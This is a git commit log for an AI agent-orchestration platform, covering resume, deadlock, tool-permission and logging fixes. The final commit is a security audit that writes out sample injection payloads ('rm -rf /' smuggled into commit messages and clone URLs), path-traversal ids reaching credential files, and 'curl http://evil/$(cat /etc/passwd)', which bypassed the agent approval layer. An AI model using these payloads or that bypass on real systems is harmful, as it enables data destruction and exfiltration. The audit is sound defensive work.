Merges xiaodong-l's hardening work: company suspend-checkpoint resume
reconciliation, external session token lifecycle fixes, Windows launch
shims, codex shell_environment_policy forwarding, Office UI i18n
(en/zh-CN), and two org presets. frontend_dist is rebuilt from the
merged sources in this commit so the #11 runtime-status fixes and the
i18n bundle coexist.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
# Conflicts:
# opc/plugins/office_ui/frontend_dist/assets/index-BgyI65M_.js
# opc/plugins/office_ui/frontend_dist/index.html
Three defects that kept a converged run bouncing forever, found by
replaying the issue #10 timeline against the real engine:
- follow-up routing did not exclude terminal cards: a FAILED
final-decider was clobbered to PENDING and then blew up the whole
resume turn with InvalidPhaseTransition: failed -> ready. Filter
FAILED/CANCELLED at selection and refuse terminal targets in
_prepare_company_followup_target (DONE stays eligible - the
approved -> rework reopen has a dedicated legal store op).
- with every routable decider terminal, the suspend checkpoint parked
pending forever and dead-ended each message on the same error.
Degrade to a plain runtime resume so the run converges and the
checkpoint drains, with an explanatory note.
- startup reconcile classified suspend-hold residue on terminal cards
as an interruption, rebuilding a pending company_runtime_interrupted
checkpoint on every boot. Scrub the residue instead so restarts are
idempotent.
scripts/verify_issue10_e2e.py replays the reporter's full timeline
(kill -> restart -> resume cycles, all external agents disabled) against
the real engine/store/dispatcher: startup only suspends, the codex-pinned
card fails closed with zero attempts burned, restarts stay converged with
idle CPU ~0%, and the kill loop terminalizes at the ledger limit. 11/11.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-runtime resume checkpoint pins each task to one exact
execution backend. When that pinned external agent is disabled in the
config (issue #10: all external agents off), every resume claimed the
card, transitioned it to RUNNING, and crashed deterministically in the
dispatch-time selector ("company runtime resume requires unavailable
external agent"), feeding the restart -> resume -> crash loop.
Gate availability at resume preparation instead, before any pin or
claim: fail the single work item closed (FAILED + diagnostic
blocked_reason + progress note) while the rest of the organization
resumes normally. attempt_seq stays 0 - no dispatch attempt is burned.
A missing adapter registry means availability is unknown, so the gate
fails open and leaves the decision to the dispatch-time guard.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Root-cause fix for the project-4444 class of deadlocks: any FAILED/
CANCELLED work item with downstream dependents used to block its whole
tree forever, because the advancement gate required all dependencies to
be APPROVED and nothing ever propagated or triaged failures.
Settlement mechanism (work_item_transition.py):
- compute doomed set (FAILED/CANCELLED seeds contagious through hard
deps); settlement-released cards are treated as alive
- three-way advancement gate: all-approved (unchanged) / settled-with-
failures releases the nearest decision-capable card (manager parent ->
failure-triage synthesis turn, rollup delivery/aggregate -> READY)
with an atomic dependency_settlement stamp; released cards never
oscillate back
- claim/park/resume/dispatcher-tick all honor the stamp: runnable gates
admit settled failed+stuck deps, parking excludes settled deps and
re-arms triage when a failure raced the park, engine resume no longer
re-locks released cards, the dispatcher tick releases rollup cards
created after the failure
- settlement cascade: once the settled card is APPROVED, stuck children
the manager did not rebuild are cancelled (transitive closure over
stamped stuck seeds, retried until every cancel lands)
- info-class deps never block settlement; adaptive runnable gate now
shares DEPENDENCY_CLASS_DEFAULT with the release gates
Dispatch guard (company_mode.py):
- NO_DELEGATION_JUSTIFICATION parsing tolerates markdown decoration
(bold/lists/quotes/full-width colon) and rejects placeholder echoes
across all artifact/metadata/content channels
- retries exhausted no longer FAILs the work item: dispatch is a soft
constraint, so the turn output is accepted as normal completion and
annotated via manager_dispatch_guard_unresolved; the reminder loop is
unchanged, and the mutation flag is now reset per turn so one past
delegation can never mute future reminders
- manager board context now surfaces failed/cancelled children with
their preserved output and pending-cancellation stuck list so the
triage turn can rebuild, accept partial results, or escalate
Self-produced delegation output goes through review (persisted fact,
single predicate):
- the DONE transition classifies what a dispatch/intake/plan turn
actually delivered from store ground truth (live children => delegated,
none => self_produced) and persists turn_output_kind/-source on the
WorkItem
- is_manager_reviewable_turn honors the persisted marker, so the DONE
routing, report spawn, report completion and recovery scans all read
the same fact — this closes a pre-existing hole where
NO_DELEGATION_JUSTIFICATION output auto-approved with no review at all
- escalation requires a real agent manager above; top seats reporting to
the human owner keep auto-approve (covered by final delivery's human
acceptance) instead of minting unclaimable review cards
- dispatcher tick reconciles reviewable cards stuck in
AWAITING_MANAGER_REVIEW with no live report/review card by rebuilding
the report card idempotently (legacy DBs, crash windows)
Verified: 4444 tasks.db replay unwedges end to end; real-store
report->review chain exercised without lifecycle mocks (mutation check
confirms the tests bite); full suite failure set identical to a
same-session HEAD baseline run (all remaining failures pre-existing or
environment flakes reproduced at HEAD).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Four coordinated fixes for company runs permanently stalling around
tool-approval parks (project 1111 forensics + live reproduction):
- company executor dispatch loop now exits convergently when nothing is
in flight and every remaining task waits on a human: immediate parked
exit when all waiters have pending checkpoints, bounded stall ticks
otherwise. Previously it polled sleep(5) forever, hanging the turn
(observed 7.5h), never answering the user, and holding claims that
blocked any later rescue turn.
- _resume_task_checkpoint routes work-item runtime tasks through the
delegation state machine: release the human wait via the legal
AWAITING_HUMAN -> READY recovery exit, clear stale claims, and hand
the item back to the dispatcher (runtime-snapshot fallback when the
checkpoint payload lacks a plan) instead of a detached single-agent
re-run that never advances the work item phase.
- startup recovery reverse self-heal: an awaiting_human task whose park
checkpoint was already resolved (human answered, resume cut off before
the phase write) is reopened for dispatch instead of being preserved
as a wait nobody can end. Runs before the metadata-plan gate since
modern runs no longer carry the plan in task metadata.
- pause checkpoints record execution_mode from the durable
work_item_runtime marker instead of volatile task metadata, which
degraded to task_mode after a first resume and misrouted the next one.
Validated end-to-end on a live native-agent minimal-org run
(park -> approve -> re-park -> approve -> complete -> deliver, plus
synthesized crash-between-resolve-and-phase-write healed on restart).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A task_user_input checkpoint created by an approval escalation (payload
runtime_v2.permission_requests non-empty) used to capture the next plain chat
message in the session as its answer. With deferred approval cards now staying
pending indefinitely (c9018000), that implicit capture would swallow every
later conversation message into the approval reply.
Permission prompts are decided through their approval card, whose reply always
carries an explicit response_to_checkpoint_id; a plain message now falls
through to normal turn processing and the card stays pending and clickable.
Waits without a permission request (agent asked the user a question) keep
accepting typed answers unchanged.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This reverts the revert e1c28c38, re-landing d502d66c.
Forensics on the project 000 incident show the original revert was a
misattribution: the failures observed at 19:00-19:21 ran on a server started
before the fix was committed (19:59), and the 20:27 failure was the separate
company_work_item_plan schema collision (fixed in the previous commit), which
this change never claimed to cover.
Re-landing is also now required by c9018000: the deferred approval-card click
path rewrites the reply to target the parked AWAITING_HUMAN checkpoint and
resumes through _resume_task_checkpoint — without this change that resume hits
the empty-task-list + MULTI_AGENT value-alias bug and returns an empty reply
on company tasks.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Every completed company session's follow-up was answered with the canned
"Legacy company runtime run ... read-only" text (project 000, 2026-07-07).
Root cause: snapshot loaders read task.metadata work_item_runtime_plan as a
serialized run-level CompanyWorkItemRuntimePlan, but work-item tasks persist a
per-item assignment spec (projection_id/turn_type/summary/deliverables/...)
under that key. from_dict on the wrong shape silently yields an empty plan
(no projections, empty metadata), _runtime_uses_multi_team_org returns False,
and the resume path falls through to the legacy read-only branch.
Add is_serialized_company_work_item_runtime_plan (a run-level plan always
serializes with projections + runtime_model; a spec always carries
projection_id) and route all full-plan metadata reads through
serialized_company_plan_from_metadata, which skips wrong-shaped candidates so
the loaders fall back to the sample-metadata-constructed plan instead of an
empty one. Fixes existing DBs read-side; no data migration.
Verified: old path on the 000 shape classifies multi_team_org=False, new path
True; regression tests cover shape discrimination, snapshot classification,
and the follow-up never reporting legacy.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-mode review left a pending task_user_input checkpoint behind: the
runtime carried the paused work item forward via approval-card grants and a
fresh review attempt without ever replying through the engine checkpoint. The
orphan row then captured the user's next chat message and resumed through the
deprecated multi-agent path with an empty task list, returning an empty reply.
Invariants added:
- write side: when a task settles (done/failed/cancelled) its pending
task_user_input/task_peer_wait checkpoints are superseded
- read side: checkpoint matching lazily resolves rows whose task settled or
whose linked work item reached a terminal phase (heals existing dirty DBs)
- resume: the primary task is always part of the resumed set; the
MULTI_AGENT/COMPANY_MODE value-alias no longer routes company checkpoints
into _execute_multi_agent (which silently returned "" on empty task lists)
Perf: get_latest_pending_checkpoint_for_session is called per task on every
UI sync tick, and its parent-session resolution loaded and JSON-parsed the
entire tasks table each time (24MB with inline artifact blobs) — a full core
pegged at 100% and the event loop starved so replies never surfaced. Now a
no-live-checkpoints fast path returns immediately, and the resolution uses a
targeted session_id query backed by a new tasks(session_id) index.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Deleting a project closed its store but left the delegate cached in
_project_engine_delegates; re-creating a same-name project then reused the
zombie engine and crashed in get_session. delete() now closes and evicts via
_close_project_engine_store (also covers non-active deletes), the delegate
cache self-heals when a cached store is closed, and _engine_for_project
reopens a closed store for the non-evictable root engine case.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>